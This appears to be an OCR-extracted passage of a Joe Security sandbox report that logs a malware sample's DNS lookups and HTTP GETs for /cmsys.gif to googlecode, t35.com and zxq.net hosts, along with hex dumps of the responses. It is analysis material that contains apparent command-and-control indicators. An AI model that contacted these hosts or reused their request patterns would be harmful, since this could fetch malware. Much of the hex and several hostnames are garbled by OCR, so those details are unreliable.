Aug 5, 2022 09:09:41.851303101 CEST 49769 443 192.168.2.4 51.81.194.202

Aug 5, 2022 09:09:41.851325035 CEST 49769 443 192.168.2.4 51.81.194.202

Aug 5, 2022 09:09:41.851340055 CEST 443 49769 51.81.194.202 192.168.2.4

Aug 5, 2022 09:09:41.851388931 CEST 49769 443 192.168.2.4 51.81.194.202

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 09:09:14.589622021 CEST 50342 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:14.607461929 CEST 53 50342 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:15.360501051 CEST 56719 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:15.381139994 CEST 53 56719 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:28.133136988 CEST 54800 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:28.170955896 CEST 53 54800 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:30.719669104 CEST 64454 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:30.757955074 CEST 53 64454 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:32.984909058 CEST 60506 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:33.012772083 CEST 53 60506 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:35.856082916 CEST 64277 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:35.957488060 CEST 53 64277 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:38.419701099 CEST 56076 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:38.437709093 CEST 53 56076 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:39.055088997 CEST 60758 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:39.230453014 CEST 53 60758 8.8.8.8 192.168.2.4

Aug 5, 2022 09:09:56.408037901 CEST 54069 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:09:56.509676933 CEST 53 54069 8.8.8.8 192.168.2.4

Aug 5, 2022 09:10:14.969732046 CEST 57747 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:10:15.073512077 CEST 53 57747 8.8.8.8 192.168.2.4

Aug 5, 2022 09:10:30.820203066 CEST 57594 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:10:30.921627998 CEST 53 57594 8.8.8.8 192.168.2.4

Aug 5, 2022 09:10:46.631505966 CEST 61361 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:10:46.733151913 CEST 53 61361 8.8.8.8 192.168.2.4

Aug 5, 2022 09:11:02.050827026 CEST 51679 53 192.168.2.4 8.8.8.8

Aug 5, 2022 09:11:02.068605900 CEST 53 51679 8.8.8.8 192.168.2.4

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 5, 2022 09:09:14.589622021 CEST 192.168.2.4 8.8.8.8 0xb175 Standard query  64.89.4.0.in- PTR (Pointer IN (0x0001)
0) addr.arpa record)

Aug 5, 2022 09:09:15.360501051 CEST 192.168.2.4 8.8.8.8 0xe985 Standard query  icanhazip.com A (IP address) IN (0x0001)
)

Aug 5, 2022 09:09:28.133136988 CEST 192.168.2.4 8.8.8.8 0x3f9 Standard query  vccmdOl.go A (IP address) IN (0x0001)
(0) oglecode.com

Aug 5, 2022 09:09:30.719669104 CEST 192.168.2.4 8.8.8.8 0x8086 Standard query  vcecmd02.go A (IP address) IN (0x0001)
(0) oglecode.com

Aug 5, 2022 09:09:32.984909058 CEST 192.168.2.4 8.8.8.8 Oxeflf Standard query  veecmd03.go A (IP address) IN (0x0001)
(0) oglecode.com

Aug 5, 2022 09:09:35.856082916 CEST 192.168.2.4 8.8.8.8 Ox414a Standard query  veemd01.t3 A (IP address) IN (0x0001)
(0) 5.com

Aug 5, 2022 09:09:38.419701099 CEST 192.168.2.4 8.8.8.8 0x2b93 Standard query  veemdOl.zxq.net A (IP address)  IN (0x0001)
(©)

Aug 5, 2022 09:09:39.055088997 CEST 192.168.2.4 8.8.8.8 0x9b2a Standard query  zxq.net A (IP address) IN (0x0001)
(©)

Aug 5, 2022 09:09:56.408037901 CEST 192.168.2.4 8.8.8.8 Oxe6a2 Standard query  vecmd01.t3 A (IP address) IN (0x0001)
(0) 5.com

Aug 5, 2022 09:10:14.969732046 CEST 192.168.2.4 8.8.8.8 0x8134 Standard query  vccmd01.t3 A (IP address) IN (0x0001)
(0) 5.com

Aug 5, 2022 09:10:30.820203066 CEST 192.168.2.4 8.8.8.8 0x1b26 Standard query  veemdO01.t3 A (IP address) IN (0x0001)
(0) 5.com

Aug 5, 2022 09:10:46.631505966 CEST 192.168.2.4 8.8.8.8 Oxab51 Standard query  veemdO01.t3 A (IP address) IN (0x0001)
(0) 5.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 5, 2022 09:11:02.050827026 CEST 192.168.2.4 8.8.8.8 Oxadc3 Standard query  vcemdO01.t3 A (IP address) IN (0x0001)
(0) 5.com
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Aug 5, 2022 8.8.8.8 192.168.2.4 0xb175 Name error (3) 64.89.4.0.in- none none PTR (Pointer IN
09:09:14.607461929 CEST addr.arpa record) (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0xe985 No error (0) icanhazip.com 104.18.114.97 A (IP address) IN
09:09:15.381139994 CEST (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0xe985 No error (0) icanhazip.com 104.18.115.97 A (IP address) IN
09:09:15.381139994 CEST (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x3f9 No error (0) veemd01.go googlecode.l.goog| CNAME IN
09:09:28.170955896 CEST oglecode.com eusercontent.com (Canonical (0x0001)
name)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x3f9 No error (0) googlecode 142.250.145.82 A (IP address) IN
09:09:28.170955896 CEST l.googleu (0x0001)
sercontent.com
Aug 5, 2022 8.8.8.8 192.168.2.4 0x8086 No error (0) veemd02.go googlecode.l.goog| CNAME IN
09:09:30.757955074 CEST oglecode.com eusercontent.com (Canonical (0x0001)
name)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x8086 No error (0) googlecode 142.250.145.82 A (IP address) IN
09:09:30.757955074 CEST l.googleu (0x0001)
sercontent.com
Aug 5, 2022 8.8.8.8 192.168.2.4 Oxeflf No error (0) veemd03.go googlecode.l.googl CNAME IN
09:09:33.012772083 CEST oglecode.com eusercontent.com (Canonical (0x0001)
name)
Aug 5, 2022 8.8.8.8 192.168.2.4 Oxeflf No error (0) googlecode 142.250.145.82 A (IP address) IN
09:09:33.012772083 CEST .l.googleu (0x0001)
sercontent.com
Aug 5, 2022 8.8.8.8 192.168.2.4 0x414a Name error (3) veemd01.t3 none none A (IP address) IN
09:09:35.957488060 CEST 5.com (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x2b93 No error (0) veemd01.zxq.net 51.81.194.202 A (IP address) IN
09:09:38.437709093 CEST (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x9b2a No error (0) zxq.net 51.81.194.202 A (IP address) IN
09:09:39.230453014 CEST (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 Oxe6a2 Name error (3) veemd01.t3 none none A (IP address) IN
09:09:56.509676933 CEST 5.com (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x8134 Name error (3)  vecemd01.t3 none none A (IP address) IN
09:10:15.073512077 CEST 5.com (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 0x1b26 Name error (3)  vecemd01.t3 none none A (IP address) IN
09:10:30.921627998 CEST 5.com (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 Oxab51 Name error (3)  veemd01.t3 none none A (IP address) IN
09:10:46.733151913 CEST 5.com (0x0001)
Aug 5, 2022 8.8.8.8 192.168.2.4 Oxadc3 Name error (3)  veemd01.t3 none none A (IP address) IN
09:11:02.068605900 CEST 5.com (0x0001)

HTTP Request Dependency Graph

e 7zXg.net

e icanhazip.com

e vcemd01.googlecode.com

e vcemd02.googlecode.com

e vcemd03.googlecode.com

e vcemd01.zxg.net

HTTP Packets
Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.4 49766 51.81.194.202 443 C:\Windows\System\explorer.exe
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Timestamp

Session ID

1

Timestamp

Session ID

10

Timestamp

Aug 5, 2022
09:09:33.049024105
CEST

Aug 5, 2022
09:09:33.076080084
CEST

Session ID

11

Timestamp

kBytes
transferred

Source IP

192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

kBytes
transferred

1152

1153

Source IP

192.168.2.4

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49769

Direction

Source Port

49762

Direction

ouT

Source Port

49764

Direction

Data

Destination IP Destination Port Process

51.81.194.202 443 C:\Windows\System\explorer.exe
Data

Destination IP Destination Port Process

142.250.145.82 80 C:\Windows\System\explorer.exe
Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd03.googlecode.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:09:33 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢c 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7h 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
726967 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6€ 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72
6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65
6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6€ 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6C 6 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2€ 70 6€ 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a
75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6€ 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
def{font:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding: 15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com
limages/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
Ilwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP Destination Port Process
51.81.194.202 80 C:\Windows\System\explorer.exe
Data
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kBytes

Direction
transferred

Timestamp
Aug 5, 2022 1155 ouT
09:09:38.610742092

CEST

Aug 5, 2022 1156 IN
09:09:38.777231932
CEST

Aug 5, 2022 1383 ouT
09:09:58.454772949
CEST

Aug 5, 2022 1383 IN
09:09:58.622678995
CEST

Aug 5, 2022 1441 ouT
09:10:17.062716007
CEST
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Data

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: veemdO01.zxq.net

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Fri, 05 Aug 2022 07:09:38 GMT

location: https://zxg.net/cmsys.gif

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e Oa 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e Oa 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.zxq.net

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Fri, 05 Aug 2022 07:09:58 GMT

location: https://zxq.net/cmsys.gif

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20
20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6¢c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

GET /cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: veemdO01.zxq.net

Connection: Keep-Alive
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kBytes

Direction
transferred

Timestamp
Aug 5, 2022 1442 IN
09:10:17.228876114

CEST

Aug 5, 2022 1471 ouT
09:10:33.513569117
CEST

Aug 5, 2022 1472 IN
09:10:33.679996967
CEST

Aug 5, 2022 9200 ouT
09:10:49.037395000
CEST
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Data

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Fri, 05 Aug 2022 07:10:17 GMT

location: https://zxg.net/cmsys.gif

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e Oa 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e Oa 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

